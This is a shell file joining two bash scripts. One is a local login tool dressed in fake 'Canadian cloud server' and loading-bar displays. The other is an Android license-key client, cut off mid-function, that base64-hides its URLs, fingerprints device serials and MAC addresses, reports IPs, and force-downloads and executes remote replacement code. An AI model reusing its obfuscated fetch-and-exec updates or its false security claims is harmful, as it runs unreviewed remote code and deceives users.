#小言
#!/bin/bash
USER_DATA_FILE="加密密码.txt"
SESSION_FILE="账号.txt"


# 生成随机盐值
generate_salt() {
    openssl rand -hex 8
}


# 注册用户
register_user() {

    echo -n "[ + ]请输入用户名: "
    read username

    if grep -q "^${username}:" "$USER_DATA_FILE" 2>/dev/null; then
        echo "[ × ]错误: 用户名已存在！"
        return 1
    fi

    echo -n "[ + ]请输入密码: "
    read -s password
    echo
    echo -n "[ + ]请再次输入密码: "
    read -s password_confirm
    echo

    if [ "$password" != "$password_confirm" ]; then
        echo "[ × ]错误: 两次密码不一致！"
        return 1
    fi

    salt=$(generate_salt)
    hashed_password=$(echo -n "${password}${salt}" | sha256sum | awk '{print $1}')
    echo "${username}:${salt}:${hashed_password}" >> "$USER_DATA_FILE"
    echo "[ √ ]注册成功！"
}


# 询问是否登录其他账号
ask_switch_account() {
    echo -n "是否需要登录其他账号？[y/n]: "
    read switch_choice
    if [ "$switch_choice" = "y" ] || [ "$switch_choice" = "Y" ]; then
        rm -f "$SESSION_FILE"  # 清除当前会话
        echo "已退出当前账号，重新选择操作..."
        echo
        show_main_options  # 重新显示操作选项
    fi
}


# 显示主操作选项
show_main_options() {
    echo "请选择操作:"
    echo "[ 1 ] 登录用户账号"
    echo "[ 2 ] 注册新用户"
    echo "[ 3 ] 重置用户密码"
    echo "[ 4 ] 退出登录"
    echo -n "
[ + ] 输入选项: "
    read choice

    case "$choice" in
        1) manual_login ;;
        2) register_user ;;
        3) reset_password ;;
        4) logout_user ;;
        *) echo "无效选项！" ;;
    esac
}


# 自动登录（检测会话）
auto_login() {
    if [ -f "$SESSION_FILE" ]; then
        session_user=$(cat "$SESSION_FILE")
        if grep -q "^${session_user}:" "$USER_DATA_FILE" 2>/dev/null; then
            echo "检测到上次登录过，正在读取你的账号"
           sleep 1
             echo "用户 ${session_user} 欢迎回来"
            ask_switch_account  # 询问是否切换账号
            return 0
        fi
    fi
    return 1
}


# 手动登录（含哈希解析+免密会话）
manual_login() {
    echo -n "[ + ]用户: "
    read username

    user_info=$(grep "^${username}:" "$USER_DATA_FILE" 2>/dev/null)
    if [ -z "$user_info" ]; then
        echo "[ × ]错误: 用户名不存在！"
        return 1
    fi

    salt=$(echo "$user_info" | cut -d: -f2)
    stored_hash=$(echo "$user_info" | cut -d: -f3)

    echo -n "[ + ]请输入你的密码: "
    read -s password
    echo

    echo "[ + ]正在解析哈希值"
    sleep 1
    input_hash=$(echo -n "${password}${salt}" | sha256sum | awk '{print $1}')

    if [ "$input_hash" = "$stored_hash" ]; then
        echo "[ √ ]密码校验成功，欢迎回来"
        # 询问是否记住登录状态
        echo -n "[ + ]是否记住登录状态(y/n): "
        read remember
        if [ "$remember" = "y" ] || [ "$remember" = "Y" ]; then
            echo "$username" > "$SESSION_FILE"
            echo "[ √ ]已记住登录状态"
        fi
        ask_switch_account  # 询问是否切换账号
    else
        echo "[ × ]错误: 密码不正确！"
        return 1
    fi
}


# 密码重置
reset_password() {
    echo -n "[ + ]请输入用户名: "
    read username

    user_info=$(grep "^${username}:" "$USER_DATA_FILE" 2>/dev/null)
    if [ -z "$user_info" ]; then
        echo "[ × ]错误: 用户名不存在！"
        return 1
    fi

    salt=$(echo "$user_info" | cut -d: -f2)
    stored_hash=$(echo "$user_info" | cut -d: -f3)
    echo -n "[ + ]请输入原密码: "
    read -s old_password
    echo
    old_hash=$(echo -n "${old_password}${salt}" | sha256sum | awk '{print $1}')

    if [ "$old_hash" != "$stored_hash" ]; then
        echo "[ × ]错误: 原密码不正确！"
        return 1
    fi

    echo -n "[ + ]请输入新密码: "
    read -s new_password
    echo
    echo -n "[ + ]请再次输入新密码: "
    read -s new_password_confirm
    echo

    if [ "$new_password" != "$new_password_confirm" ]; then
        echo "[ × ]错误: 两次密码不一致！"
        return 1
    fi

    new_salt=$(generate_salt)
    new_hashed_password=$(echo -n "${new_password}${new_salt}" | sha256sum | awk '{print $1}')
    sed -i "s/^${username}:.*$/${username}:${new_salt}:${new_hashed_password}/" "$USER_DATA_FILE"
    rm -f "$SESSION_FILE"
    echo "[ √ ]密码重置成功！"
}


# 退出登录
logout_user() {
    if [ -f "$SESSION_FILE" ]; then
        rm -f "$SESSION_FILE"
        echo "[ √ ]已退出登录，下次需手动登录"
    else
        echo "[ + ]当前未处于自动登录状态"
    fi
}


# 主逻辑（启动时先自动登录）
main() {
    # 开头装饰信息

echo "          CDN加拿大高防服务器为您守护 "

echo "[1;38;5;51m╔══════════════════════════════════════════════╗[0m
[1;38;5;51m║ [3;38;5;225m「 小言云端加密，防破解守护你的安全      服务器位置:加拿大」[0m [1;93m⚠️[0m [1;38;5;51m   ║[0m
[1;38;5;51m╚══════════════════════════════════════════════╝[0m"


    # 第一步：尝试自动登录
    if auto_login; then
        echo "[按回车关闭]"
        read
        return 0
    fi

    # 自动登录失败，显示操作选项
    echo "自动登录失败，请选择操作:"
    show_main_options

    echo "[按回车关闭]"
    read
}


main
echo -ne '\033[1;31m  正在加载中□□□□□□□□□□0% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中□□□□□□□□□□1% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中□□□□□□□□□□2% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中□□□□□□□□□□3% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中□□□□□□□□□□4% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中□□□□□□□□□□5% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中□□□□□□□□□□6% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中□□□□□□□□□□7% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中□□□□□□□□□□8% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中□□□□□□□□□□9% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中■□□□□□□□□□10% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中■□□□□□□□□□11% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中■□□□□□□□□□12% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中■□□□□□□□□□13% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中■□□□□□□□□□14% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中■□□□□□□□□□15% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中■□□□□□□□□□16% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中■□□□□□□□□□17% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中■□□□□□□□□□18% \r'
sleep 0.02
echo -ne '\033[1;31m  正在加载中■□□□□□□□□□19% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■□□□□□□□□20% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■□□□□□□□□21% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■□□□□□□□□22% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■□□□□□□□□23% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■□□□□□□□□24% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■□□□□□□□□25% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■□□□□□□□□26% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■□□□□□□□□27% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■□□□□□□□□28% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■□□□□□□□□29% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■□□□□□□□30% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■□□□□□□□31% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■□□□□□□□32% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■□□□□□□□33% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■□□□□□□□34% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■□□□□□□□35% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■□□□□□□□36% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■□□□□□□□37% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■□□□□□□□38% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■□□□□□□□39% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■□□□□□□40% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■□□□□□□41% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■□□□□□□42% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■□□□□□□43% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■□□□□□□44% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■□□□□□□45% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■□□□□□□46% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■□□□□□□47% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■□□□□□□48% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■□□□□□□49% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■■□□□□□50% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■■□□□□□51% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■■□□□□□52% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■■□□□□□53% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■■□□□□□54% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■■□□□□□55% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■■□□□□□56% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■■□□□□□57% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■■□□□□□58% \r'
sleep 0.02
echo -ne '\033[1;33m  正在加载中■■■■■□□□□□59% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■□□□□60% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■□□□□61% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■□□□□62% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■□□□□63% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■□□□□64% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■□□□□65% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■□□□□66% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■□□□□67% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■□□□□68% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■□□□□69% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■□□□70% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■□□□71% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■□□□72% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■□□□73% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■□□□74% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■□□□75% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■□□□76% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■□□□77% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■□□□78% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■□□□79% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■■□□80% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■■□□81% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■■□□82% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■■□□83% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■■□□84% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■■□□85% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■■□□86% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■■□□87% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■■□□88% \r'
sleep 0.02
echo -ne '\033[1;36m  正在加载中■■■■■■■■□□89% \r'
sleep 0.02
echo -ne '\033[1;32m  正在加载中■■■■■■■■■□90% \r'
sleep 0.02
echo -ne '\033[1;32m  正在加载中■■■■■■■■■□91% \r'
sleep 0.02
echo -ne '\033[1;32m  正在加载中■■■■■■■■■□92% \r'
sleep 0.02
echo -ne '\033[1;32m  正在加载中■■■■■■■■■□93% \r'
sleep 0.02
echo -ne '\033[1;32m  正在加载中■■■■■■■■■□94% \r'
sleep 0.02
echo -ne '\033[1;32m  正在加载中■■■■■■■■■□95% \r'
sleep 0.02
echo -ne '\033[1;32m  正在加载中■■■■■■■■■□96% \r'
sleep 0.02
echo -ne '\033[1;32m  正在加载中■■■■■■■■■□97% \r'
sleep 0.02
echo -ne '\033[1;32m  正在加载中■■■■■■■■■□98% \r'
sleep 0.02
echo -ne '\033[1;32m  正在加载中■■■■■■■■■□99% \r'
sleep 0.02
echo -ne '\033[1;32m  加载成功■■■■■■■■■■100% \r'
sleep 3.0
clear
echo "成功连接服务器"
    echo "服务器检测当前服务器位置:加拿大  设备IP:未知"


紫色() { echo -e "\033[35m$1\033[0m"; }
蓝色() { echo -e "\033[34m$1\033[0m"; }
白色() { echo -e "\033[37m$1\033[0m"; }
黄色() { echo -e "\033[33m$1\033[0m"; }
绿色() { echo -e "\033[32m$1\033[0m"; }
红色() { echo -e "\033[31m$1\033[0m"; }
粉色() { echo -e "\033[36m$1\033[0m"; } # 原"粉色"对应终端青色，保持视觉一致

function show_header() {
    clear
    紫色 "╭──────────────────────────────────────────╮"
    紫色 "│$(蓝色 "    █████╗ ███████╗███╗   ██╗██████╗    ")"
    紫色 "│$(蓝色 "   ██╔══██╗██╔════╝████╗  ██║██╔══██╗   ")"
    紫色 "│$(蓝色 "   ███████║███████╗██╔██╗ ██║██████╔╝   ")"
    紫色 "│$(蓝色 "   ██╔══██║╚════██║██║╚██╗██║██╔══██╗   ")"
    紫色 "│$(蓝色 "   ██║  ██║███████║██║ ╚████║██████╔╝   ")"
    紫色 "│$(蓝色 "   ╚═╝  ╚═╝╚══════╝╚═╝  ╚═══╝╚═════╝   ")"
    紫色 "├──────────────────────────────────────────┤"
    紫色 "│$(白色 "                   小言NB                   ")"
    紫色 "╰──────────────────────────────────────────╯"
    }
    

# 执行核心函数（如需展示完整效果，直接调用即可）
show_header

#!/bin/bash
#验证版本1.0.2更新时间2025/9/5更新心跳验证11月23发布使用
#官方网站b6w.cn
#云更新m.b6w.cn
#shell卡密验证云更新系统对接
#请使用MT管理器终端扩展包环境执行无需root只需MT管理器终端扩展包执行
#云更新策略是只要后台没有勾选强制更新就会让用户选择是否更新
#勾选了就会系统强制自动更新.不给用户选择是否选择更新版本号不一致会强制更新
#覆盖原有的内容为新版本下载链接里面的内容
#后台更新的链接可以填写sh后缀的还有zip后缀的
#远程文件是sh则是直接替换当前文件的内容为新版本
#远程文件是zip压缩包则是下载需手动移动出来执行
#因为有些人说他们是执行so要更新so所以用户的意见添加了新版本
#这样只需把sh和so放在压缩包里面做下载下来会手动移动出来执行新版本
# ===================== 开发者配置选项 =====================
#APP ID 也就是apikey
API_KEY="ac6788fb1419d9f617a43aed45005eaa"
#版本号判断更新使用
CURRENT_VERSION="1.0.3"
#新版本更新后是否自动重启脚本执行
#  - 填1：更新替换文件内容后，自动重启脚本执行
#  - 填0：更新替换文件内容后，退出脚本，需用户手动重新执行
AUTO_EXEC_AFTER_UPDATE="1"
#心跳验证时间5分钟，也就是300秒（当前配置为300秒，可按需修改）
#不可低于30秒-否则系统检测到异常会封禁
HEARTBEAT_INTERVAL=30
#服务器无响应-无网络尝试次数(不用管)
HEARTBEAT_RETRY=3

# ======================开发者配置完成-下方代码无需修改======================

API_URL_UPDATE=$(echo "aHR0cHM6Ly9tLmI2dy5jbi9hcGkvYjZ3YXBpeWd4LnBocA==" | base64 -d)
API_URL_VERIFY=$(echo "aHR0cHM6Ly9tLmI2dy5jbi9hcGkvYjZ3YXBpa2V5LnBocA==" | base64 -d)
REPORT_URL=$(echo "aHR0cHM6Ly9tLmI2dy5jbi9hcGkvc2IucGhw" | base64 -d)
SIGN_KEY="必6网.免费的云更新验证系统官方网站部分浏览器显示有风险可以换个浏览器-浏览器搜索b6w.cn"
DEVICE_FILE="/data/local/tmp/.device_code.txt"
BACKUP_DEVICE_FILE="./.device_code.txt"
CARD_KEY_MAIN_FILE="/data/local/tmp/.saved_card_key.txt"
CARD_KEY_BACKUP_FILE="./.saved_card_key.txt"
RETRY_INTERVAL=3
get_device_code() {
    local hardware_id=""
    if [ -z "$hardware_id" ] && [ -f "/sys/class/android_usb/android0/iSerial" ]; then
        hardware_id=$(cat /sys/class/android_usb/android0/iSerial 2>/dev/null | tr -d ' \n\r')
    fi
    if [ -z "$hardware_id" ] && [ -f "/proc/cpuinfo" ]; then
        hardware_id=$(grep -i 'serial' /proc/cpuinfo 2>/dev/null | head -n1 | awk -F: '{print $2}' | tr -d ' \n\r')
    fi
    if [ -z "$hardware_id" ] && command -v getprop &>/dev/null; then
        hardware_id=$(getprop ro.serialno 2>/dev/null | tr -d ' \n\r')
        if [ -z "$hardware_id" ]; then
            hardware_id=$(getprop ro.boot.serialno 2>/dev/null | tr -d ' \n\r')
        fi
    fi
    if [ -z "$hardware_id" ] && [ -f "/sys/class/bluetooth/hci0/address" ]; then
        hardware_id=$(cat /sys/class/bluetooth/hci0/address 2>/dev/null | tr -d ':\n\r')
    fi
    if [ -z "$hardware_id" ] && [ -f "/sys/class/net/wlan0/address" ]; then
        hardware_id=$(cat /sys/class/net/wlan0/address 2>/dev/null | tr -d ':\n\r')
    fi
    if [ -z "$hardware_id" ]; then
        if [ -f "$BACKUP_DEVICE_FILE" ]; then
            hardware_id=$(cat "$BACKUP_DEVICE_FILE" 2>/dev/null | tr -d ' \n\r')
        elif [ -f "$DEVICE_FILE" ]; then
            hardware_id=$(cat "$DEVICE_FILE" 2>/dev/null | tr -d ' \n\r')
        else
            hardware_id=$(date +%s | md5sum | head -c 16)
        fi
    fi
    local fixed_code="$hardware_id"
    if [ ${#fixed_code} -gt 32 ]; then
        fixed_code="${fixed_code:0:32}"
    elif [ ${#fixed_code} -lt 32 ]; then
        fixed_code=$(printf "%-32s" "$fixed_code" | tr ' ' '0')
    fi
    if ! echo "$fixed_code" > "$BACKUP_DEVICE_FILE" 2>/dev/null; then
        if echo "$fixed_code" > "$DEVICE_FILE" 2>/dev/null; then
            DEVICE_FILE="$DEVICE_FILE"
        else
            echo "[警告] 设备码文件写入失败，临时生效" >&2
        fi
    else
        DEVICE_FILE="$BACKUP_DEVICE_FILE"
    fi
    chmod 600 "$DEVICE_FILE" 2>/dev/null

    echo "$fixed_code"
}
DEVICE_CODE=$(get_device_code)
[ -z "$DEVICE_CODE" ] && { echo "设备码生成失败" >&2; exit 1; }

request_with_retry() {
    local url="$1"
    local data="$2"
    local retry_count=1

    while true; do
        local response=$(curl -s --connect-timeout 10 -X POST "$url" \
            -H "Content-Type: application/json" \
            -d "$data")

        if [ $? -eq 0 ] && [ -n "$response" ]; then
            echo "$response"
            return 0
        else
            echo "[重试] 接口请求失败（第$retry_count次），$RETRY_INTERVAL秒后重试..."
            sleep $RETRY_INTERVAL
            retry_count=$((retry_count + 1))
        fi
    done
}

extract_field() {
    local key="$1"
    local json="$2"
    echo "$json" | grep -o "\"$key\":\"[^\"]*\"" | sed "s/\"$key\":\"//;s/\"//;s/^[[:space:]]*//;s/[[:space:]]*$//"
}

extract_boolean() {
    local key="$1"
    local json="$2"
    echo "$json" | sed -n "s/.*\"$key\"\s*:\s*\(\(true\)\|\(false\)\).*/\1/p"
}

check_update() {
    echo "===== 开始云更新检查 ====="

    local verify_data='{"action":"verify_api_key", "api_key":"'$API_KEY'"}'
    local verify_response=$(request_with_retry "$API_URL_UPDATE" "$verify_data")
    local app_id=$(extract_field "app_id" "$verify_response")

    if [ -z "$app_id" ]; then
        local error_msg=$(extract_field "error" "$verify_response")
        echo "[错误] 更新验证失败：$error_msg"
        return 1
    fi
    echo "[成功] 应用ID：$app_id"

    local config_data='{"action":"get_config", "app_id":"'$app_id'"}'
    local config_response=$(request_with_retry "$API_URL_UPDATE" "$config_data")

    local announcement=$(extract_field "announcement" "$config_response")
    local latest_version=$(extract_field "latest_version" "$config_response")
    local update_url=$(extract_field "update_url" "$config_response")
    local force_update=$(extract_boolean "force_update" "$config_response")

    local force_update_cn="否"
    [ "$force_update" = "true" ] && force_update_cn="是"

    echo -e "\n[配置信息]:"
    echo -n "  公告内容："
    if [ -n "$announcement" ]; then
        echo -e "$announcement"
    else
        echo "无公告"
    fi
    echo "  当前版本：$CURRENT_VERSION（本地）"
    echo "  最新版本：$latest_version（云端）"
    echo "  是否强制更新：$force_update_cn"
    echo "  开发者更新配置-更新后自动执行：$( [ "$AUTO_EXEC_AFTER_UPDATE" = "1" ] && echo "是" || echo "否" )"

    update_url=$(echo "$update_url" | sed 's/\\\//\//g')

    if [ "$latest_version" != "$CURRENT_VERSION" ] && [ -n "$update_url" ] && [ "$latest_version" != "" ]; then
        echo -e "\n[发现新版本] $latest_version"
        
        if ! command -v curl &> /dev/null; then
            echo "[错误] 缺少curl工具，请安装后重试"
            exit 1
        fi

        if [ "$force_update" = "true" ]; then
            echo "[强制更新] 必须更新才能继续使用！"
            update_action=1
        else
            echo "[非强制更新] 发现新版本，是否更新？（1=更新，0=不更新，默认0）"
            read -p "请输入选择（1/0）：" user_choice
            if [ -z "$user_choice" ]; then
                user_choice=0
            fi
            if [ "$user_choice" -eq 1 ]; then
                echo "用户选择：执行更新"
                update_action=1
            else
                echo "用户选择：不更新，继续执行后续流程"
                update_action=0
                rm -f "$new_file_path" 2>/dev/null
                return 0
            fi
        fi

        if [ $update_action -eq 1 ]; then
            local script_path=$(cd "$(dirname "$0")" || exit; pwd)
            local script_name=$(basename "$0")
            local new_file_path="${script_path}/temp_update_file"

            while true; do
                if curl -fL "$update_url" -o "$new_file_path" &> /dev/null; then
                    break
                else
                    echo "[重试] 更新文件下载失败，$RETRY_INTERVAL秒后重试..."
                    sleep $RETRY_INTERVAL
                fi
            done

            local file_ext=$(echo "$update_url" | awk -F. '{print $NF}' | tr 'A-Z' 'a-z' | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')
            echo "[更新文件信息] 后缀：$file_ext"

            if [ "$file_ext" = "zip" ]; then
                echo "[更新处理] 识别ZIP文件，生成唯一文件名（保留所有旧文件）"
                local random_str=$(date +%s%N | md5sum | head -c 8)
                local zip_file_name="${script_name%.sh}-${latest_version}-${random_str}.zip"
                local zip_file_path="${script_path}/${zip_file_name}"
            
                if [ -f "$zip_file_path" ]; then
                    echo "[提示] 极端情况：文件名已存在，重新生成随机字符..."
                    random_str=$(date +%s%N | md5sum | head -c 8)
                    zip_file_name="${script_name%.sh}-${latest_version}-${random_str}.zip"
                    zip_file_path="${script_path}/${zip_file_name}"
                fi

                if cat "$new_file_path" > "$0"; then
                    mv -f "$0" "$zip_file_path"
                    echo "[成功] ZIP更新完成：$zip_file_path"
                    echo "[提示] 所有旧版本ZIP文件已完整保留，新文件通过版本号+随机字符区分"
                    echo "[提示] ZIP文件无法自动执行，已退出"
                    rm -f "$new_file_path"
                    exit 0
                else
                    echo "[错误] ZIP文件内容替换失败"
                    rm -f "$new_file_path"
                    exit 1
                fi
            else
                echo "[更新处理] 识别非ZIP文件，覆盖更新并准备自动执行"
                local backup_script_path="${script_path}/${script_name}.bak"
                cp -f "$0" "$backup_script_path" 2>/dev/null
                if cat "$new_file_path" > "$0"; then
                    chmod +x "$0"
                    echo "[成功] 脚本更新至 $latest_version（旧脚本已备份为 ${script_name}.bak）"
                    rm -f "$new_file_path"
                    if [ "$AUTO_EXEC_AFTER_UPDATE" = "1" ]; then
                        echo "按配置：立即自动执行更新后的脚本..."
                        exec bash "$0"
                        echo "[警告] 自动执行触发失败，请手动运行 $0"
                        exit 1
                    else
                        echo "按配置：不自动执行，请手动重启 $0"
                        exit 0
                    fi
                else
                    echo "[错误] 非ZIP文件更新失败，恢复旧脚本..."
                    cp -f "$backup_script_path" "$0" 2>/dev/null
                    rm -f "$new_file_path" "$backup_script_path"
                    exit 1
                fi
            fi

        fi

    else
        if [ "$latest_version" = "$CURRENT_VERSION" ]; then
            echo -e "\n[状态] 本地版本（$CURRENT_VERSION）与云端版本（$latest_version）一致，无需更新"
        elif [ -z "$update_url" ]; then
            echo -e "\n[状态] 虽有新版本（$latest_version），但云端未配置更新链接，无法更新"
        else
            echo -e "\n[状态] 当前已是最新版本"
        fi
    fi

    echo -e "\n===== 更新检查完成 ====="
}

decode_unicode() {
    local str="$1"
    awk -v str="$str" 'BEGIN {
        while (match(str, /\\u([0-9a-fA-F]{4})/, arr)) {
            c = sprintf("%c", strtonum("0x" arr[1]))
            gsub(/\\u[0-9a-fA-F]{4}/, c, str)
        }
        print str
    }'
}

generate_sign() {
    local data="$1"
    local salt="$2"
    local timestamp="$3"
    echo -n "${data}${salt}${timestamp}${SIGN_KEY}" | md5sum | awk '{print $1}'
}

report_tampering() {
    local request_params="$1"
    local tampered_response="$2"
    local timestamp="$3"
    local client_ip=$(curl -s --connect-timeout 5 http://icanhazip.com 2>/dev/null || \
                      curl -s --connect-timeout 5 http://ip.cn/ip 2>/dev/null | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' || \
                      echo "未知IP")
    client_ip=$(echo "$client_ip" | tr -d '\n\r')

    req_escaped=$(echo "$request_params" | sed 's/\\/\\\\/g')
    resp_escaped=$(echo "$tampered_response" | sed 's/\\/\\\\/g')
    req_escaped=$(echo "$req_escaped" | sed 's/"/\\"/g')
    resp_escaped=$(echo "$resp_escaped" | sed 's/"/\\"/g')
    req_escaped=$(echo "$req_escaped" | sed ':a;N;$!ba;s/\n/\\n/g')
    resp_escaped=$(echo "$resp_escaped" | sed ':a;N;$!ba;s/\n/\\n/g')
    req_escaped=$(echo "$req_escaped" | sed 's/\r/\\r/g; s/\t/\\t/g')
    resp_escaped=$(echo "$resp_escaped" | sed 's/\r/\\r/g; s/\t/\\t/g')

    report_data="{\"ip\":\"$client_ip\",\"timestamp\":\"$timestamp\",\"request_params\":\"$req_escaped\",\"tampered_response\":\"$resp_escaped\"}"
    report_result=$(curl -s --connect-timeout 10 -X POST "$REPORT_URL" \
        -H "Content-Type: application/json" -d "$report_data")
    result_msg=$(echo "$report_result" | sed -n 's/.*"message":"\([^"]*\)".*/\1/p' | decode_unicode)
    echo "数据已记录上传结果：${result_msg:-篡改数据已上传}"
}

verify_card_key() {
    echo -e "\n===== 开始卡密验证 ====="

    local CARD_KEY=""
    # 修复：先读当前目录备份文件（优先级高），再读主路径文件
    if [ -f "$CARD_KEY_BACKUP_FILE" ]; then
        CARD_KEY=$(cat "$CARD_KEY_BACKUP_FILE" 2>/dev/null | tr -d ' \n\r')
        if [ -n "$CARD_KEY" ]; then
            echo "[自动登录] 从当前目录读取到卡密，自动验证..."
            goto_verify=true
        else
            rm -f "$CARD_KEY_BACKUP_FILE"
            CARD_KEY=""
        fi
    fi

    # 若当前目录无有效卡密，再读主路径文件
    if [ -z "$CARD_KEY" ] && [ -f "$CARD_KEY_MAIN_FILE" ]; then
        CARD_KEY=$(cat "$CARD_KEY_MAIN_FILE" 2>/dev/null | tr -d ' \n\r')
        if [ -n "$CARD_KEY" ]; then
            echo "[自动登录] 从主路径读取到卡密，自动验证..."
        else
            rm -f "$CARD_KEY_MAIN_FILE"
            CARD_KEY=""
        fi
    fi

    while true; do
        if [ -z "$CARD_KEY" ]; then
            read -p "请输入卡密：" CARD_KEY
            if [ -z "$CARD_KEY" ]; then
                echo "卡密不能为空，请重新输入"
                continue
            fi
        fi

        TIMESTAMP=$(date +%s)
        REQUEST_PARAMS=$(printf '{"api_key":"%s","key":"%s","device_code":"%s","timestamp":"%s"}' \
            "$API_KEY" "$CARD_KEY" "$DEVICE_CODE" "$TIMESTAMP")

        RESPONSE=$(request_with_retry "$API_URL_VERIFY" "$REQUEST_PARAMS")

        CODE=$(echo "$RESPONSE" | sed -n 's/.*"code":[[:space:]]*\([0-9]*\).*/\1/p; s/.*"code"[[:space:]]*:[[:space:]]*\([0-9]*\),.*/\1/p' | head -n1)
        MESSAGE_RAW=$(echo "$RESPONSE" | sed -n 's/.*"message":[[:space:]]*"\([^"]*\)".*/\1/p; s/.*"message":[[:space:]]*"\([^"]*\)",.*/\1/p' | head -n1)
        MESSAGE=$(decode_unicode "$MESSAGE_RAW")
        DATA=$(echo "$RESPONSE" | sed -n 's/.*"data":[[:space:]]*"\([^"]*\)".*/\1/p' | head -n1)
        SALT=$(echo "$RESPONSE" | sed -n 's/.*"salt":[[:space:]]*"\([^"]*\)".*/\1/p' | head -n1)
        SERVER_SIGN=$(echo "$RESPONSE" | sed -n 's/.*"sign":[[:space:]]*"\([^"]*\)".*/\1/p' | head -n1)

        if [ "$CODE" -eq 200 ] && [ -n "$DATA" ] && [ -n "$SALT" ] && [ -n "$SERVER_SIGN" ]; then
            CLIENT_SIGN=$(generate_sign "$DATA" "$SALT" "$TIMESTAMP")
            if [ "$CLIENT_SIGN" != "$SERVER_SIGN" ]; then
